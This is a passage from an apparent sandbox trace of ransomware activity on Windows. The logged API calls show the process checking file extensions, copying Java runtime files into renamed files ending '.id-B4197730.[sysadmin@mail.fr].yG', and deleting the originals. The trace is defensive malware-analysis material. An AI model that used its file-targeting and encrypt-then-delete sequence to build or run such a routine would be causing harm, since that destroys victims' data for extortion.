	[0146.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0146.547] lstrlenW (lpString=".zip") returned 4
	[0146.547] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0146.547] lstrlenW (lpString=".rar") returned 4
	[0146.547] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0146.547] lstrlenW (lpString=".bz2") returned 4
	[0146.547] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0146.547] lstrlenW (lpString=".7z") returned 3
	[0146.547] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0146.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0146.547] lstrlenW (lpString=".dbf") returned 4
	[0146.547] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0146.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0146.547] lstrlenW (lpString=".1cd") returned 4
	[0146.547] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0146.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0146.548] lstrlenW (lpString=".jpg") returned 4
	[0146.548] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0146.548] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0146.548] lstrlenW (lpString="jfxswt.jar") returned 10
	[0146.548] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0146.549] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=33932) returned 1
	[0146.549] CloseHandle (hObject=0x514) returned 1
	[0146.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 0x20
	[0146.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0146.549] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0146.549] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.550] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.550] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0146.550] GetLastError () returned 0x0
	[0146.550] ReadFile (in: hFile=0x514, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x848c, lpOverlapped=0x0) returned 1
	[0146.564] WriteFile (in: hFile=0x4ac, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x8490, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x8490, lpOverlapped=0x0) returned 1
	[0146.566] ReadFile (in: hFile=0x514, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.566] WriteFile (in: hFile=0x4ac, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0146.566] SetEndOfFile (hFile=0x4ac) returned 1
	[0146.567] CloseHandle (hObject=0x4ac) returned 1
	[0146.567] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.567] SetEndOfFile (hFile=0x514) returned 1
	[0146.571] CloseHandle (hObject=0x514) returned 1
	[0146.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0146.572] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 1
	[0146.572] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0146.572] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0146.572] lstrlenW (lpString=".doc") returned 4
	[0146.572] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0146.572] lstrlenW (lpString=".docx") returned 5
	[0146.572] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0146.573] lstrlenW (lpString=".pdf") returned 4
	[0146.573] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0146.573] lstrlenW (lpString=".xls") returned 4
	[0146.573] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0146.573] lstrlenW (lpString=".xlsx") returned 5
	[0146.573] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0146.573] lstrlenW (lpString=".ppt") returned 4
	[0146.573] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0146.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0146.573] lstrlenW (lpString=".zip") returned 4
	[0146.573] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0146.573] lstrlenW (lpString=".rar") returned 4
	[0146.573] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0146.573] lstrlenW (lpString=".bz2") returned 4
	[0146.573] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0146.573] lstrlenW (lpString=".7z") returned 3
	[0146.573] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0146.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0146.573] lstrlenW (lpString=".dbf") returned 4
	[0146.573] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0146.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0146.574] lstrlenW (lpString=".1cd") returned 4
	[0146.574] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0146.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0146.574] lstrlenW (lpString=".jpg") returned 4
	[0146.574] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0146.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0146.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0146.574] lstrlenW (lpString=".doc") returned 4
	[0146.574] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0146.574] lstrlenW (lpString=".docx") returned 5
	[0146.574] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0146.574] lstrlenW (lpString=".pdf") returned 4
	[0146.574] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0146.574] lstrlenW (lpString=".xls") returned 4
	[0146.574] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0146.574] lstrlenW (lpString=".xlsx") returned 5
	[0146.574] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0146.574] lstrlenW (lpString=".ppt") returned 4
	[0146.574] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0146.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0146.575] lstrlenW (lpString=".zip") returned 4
	[0146.575] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0146.575] lstrlenW (lpString=".rar") returned 4
	[0146.575] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0146.575] lstrlenW (lpString=".bz2") returned 4
	[0146.575] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0146.575] lstrlenW (lpString=".7z") returned 3
	[0146.575] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0146.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0146.575] lstrlenW (lpString=".dbf") returned 4
	[0146.575] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0146.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0146.575] lstrlenW (lpString=".1cd") returned 4
	[0146.575] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0146.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0146.575] lstrlenW (lpString=".jpg") returned 4
	[0146.575] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0146.576] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0146.576] lstrlenW (lpString="jsse.jar") returned 8
	[0146.576] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0146.576] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=584576) returned 1
	[0146.576] CloseHandle (hObject=0x514) returned 1
	[0146.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 0x20
	[0146.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0146.577] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0146.577] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.577] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.577] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0146.578] GetLastError () returned 0x0
	[0146.578] ReadFile (in: hFile=0x514, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x8eb80, lpOverlapped=0x0) returned 1
	[0146.915] WriteFile (in: hFile=0x4ac, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x8eb90, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x8eb90, lpOverlapped=0x0) returned 1
	[0146.929] ReadFile (in: hFile=0x514, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.929] WriteFile (in: hFile=0x4ac, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0146.929] SetEndOfFile (hFile=0x4ac) returned 1
	[0146.930] CloseHandle (hObject=0x4ac) returned 1
	[0146.930] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.930] SetEndOfFile (hFile=0x514) returned 1
	[0147.246] CloseHandle (hObject=0x514) returned 1
	[0147.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0147.247] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 1
	[0147.250] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0147.250] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0147.250] lstrlenW (lpString=".doc") returned 4
	[0147.250] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0147.250] lstrlenW (lpString=".docx") returned 5
	[0147.250] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1
	[0147.251] lstrlenW (lpString=".pdf") returned 4
	[0147.251] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0147.251] lstrlenW (lpString=".xls") returned 4
	[0147.251] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0147.251] lstrlenW (lpString=".xlsx") returned 5
	[0147.251] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1
	[0147.251] lstrlenW (lpString=".ppt") returned 4
	[0147.251] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0147.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0147.252] lstrlenW (lpString=".zip") returned 4
	[0147.252] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0147.252] lstrlenW (lpString=".rar") returned 4
	[0147.252] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0147.252] lstrlenW (lpString=".bz2") returned 4
	[0147.252] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0147.252] lstrlenW (lpString=".7z") returned 3
	[0147.252] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0147.253] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0147.253] lstrlenW (lpString=".dbf") returned 4
	[0147.253] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0147.253] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0147.253] lstrlenW (lpString=".1cd") returned 4
	[0147.253] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0147.253] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0147.253] lstrlenW (lpString=".jpg") returned 4
	[0147.253] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0147.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0147.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0147.254] lstrlenW (lpString=".doc") returned 4
	[0147.254] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0147.255] lstrlenW (lpString=".docx") returned 5
	[0147.255] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1
	[0147.255] lstrlenW (lpString=".pdf") returned 4
	[0147.255] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0147.255] lstrlenW (lpString=".xls") returned 4
	[0147.255] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0147.255] lstrlenW (lpString=".xlsx") returned 5
	[0147.256] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1
	[0147.256] lstrlenW (lpString=".ppt") returned 4
	[0147.256] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0147.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0147.256] lstrlenW (lpString=".zip") returned 4
	[0147.256] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0147.256] lstrlenW (lpString=".rar") returned 4
	[0147.257] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0147.257] lstrlenW (lpString=".bz2") returned 4
	[0147.257] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0147.257] lstrlenW (lpString=".7z") returned 3
	[0147.257] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0147.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0147.258] lstrlenW (lpString=".dbf") returned 4
	[0147.258] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0147.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0147.258] lstrlenW (lpString=".1cd") returned 4
	[0147.258] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0147.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0147.258] lstrlenW (lpString=".jpg") returned 4
	[0147.259] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0147.259] lstrcmpiW (lpString1=".0_144\\lib\\meta-index", lpString2=".yG") returned -1
	[0147.259] lstrlenW (lpString="meta-index") returned 10
	[0147.260] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0147.261] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=2126) returned 1
	[0147.261] CloseHandle (hObject=0x514) returned 1
	[0147.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 0x20
	[0147.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0147.262] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0147.263] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.263] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.263] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0147.268] GetLastError () returned 0x0
	[0147.268] ReadFile (in: hFile=0x514, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x84e, lpOverlapped=0x0) returned 1
	[0147.271] WriteFile (in: hFile=0x52c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x850, lpOverlapped=0x0) returned 1
	[0147.272] ReadFile (in: hFile=0x514, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0147.272] WriteFile (in: hFile=0x52c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0147.272] SetEndOfFile (hFile=0x52c) returned 1
	[0147.272] CloseHandle (hObject=0x52c) returned 1
	[0147.273] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.273] SetEndOfFile (hFile=0x514) returned 1
	[0147.276] CloseHandle (hObject=0x514) returned 1
	[0147.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0147.276] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 1
	[0147.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0147.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0147.278] lstrlenW (lpString=".doc") returned 4
	[0147.278] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1
	[0147.278] lstrlenW (lpString=".docx") returned 5
	[0147.278] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1
	[0147.278] lstrlenW (lpString=".pdf") returned 4
	[0147.278] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1
	[0147.278] lstrlenW (lpString=".xls") returned 4
	[0147.278] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1
	[0147.279] lstrlenW (lpString=".xlsx") returned 5
	[0147.279] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1
	[0147.279] lstrlenW (lpString=".ppt") returned 4
	[0147.279] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1
	[0147.279] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0147.279] lstrlenW (lpString=".zip") returned 4
	[0147.279] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1
	[0147.279] lstrlenW (lpString=".rar") returned 4
	[0147.279] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1
	[0147.279] lstrlenW (lpString=".bz2") returned 4
	[0147.279] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1
	[0147.279] lstrlenW (lpString=".7z") returned 3
	[0147.279] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1
	[0147.279] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0147.279] lstrlenW (lpString=".dbf") returned 4
	[0147.280] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1
	[0147.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0147.280] lstrlenW (lpString=".1cd") returned 4
	[0147.280] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1
	[0147.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0147.280] lstrlenW (lpString=".jpg") returned 4
	[0147.280] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1
	[0147.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0147.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0147.280] lstrlenW (lpString=".doc") returned 4
	[0147.280] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1
	[0147.280] lstrlenW (lpString=".docx") returned 5
	[0147.280] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1
	[0147.280] lstrlenW (lpString=".pdf") returned 4
	[0147.280] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1
	[0147.280] lstrlenW (lpString=".xls") returned 4
	[0147.280] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1
	[0147.280] lstrlenW (lpString=".xlsx") returned 5
	[0147.280] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1
	[0147.280] lstrlenW (lpString=".ppt") returned 4
	[0147.280] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1
	[0147.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0147.280] lstrlenW (lpString=".zip") returned 4
	[0147.280] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1
	[0147.280] lstrlenW (lpString=".rar") returned 4
	[0147.280] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1
	[0147.281] lstrlenW (lpString=".bz2") returned 4
	[0147.281] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1
	[0147.281] lstrlenW (lpString=".7z") returned 3
	[0147.281] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1
	[0147.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0147.281] lstrlenW (lpString=".dbf") returned 4
	[0147.281] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1
	[0147.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0147.281] lstrlenW (lpString=".1cd") returned 4
	[0147.281] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1
	[0147.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0147.281] lstrlenW (lpString=".jpg") returned 4
	[0147.281] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1
	[0147.281] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0147.281] lstrlenW (lpString="net.properties") returned 14
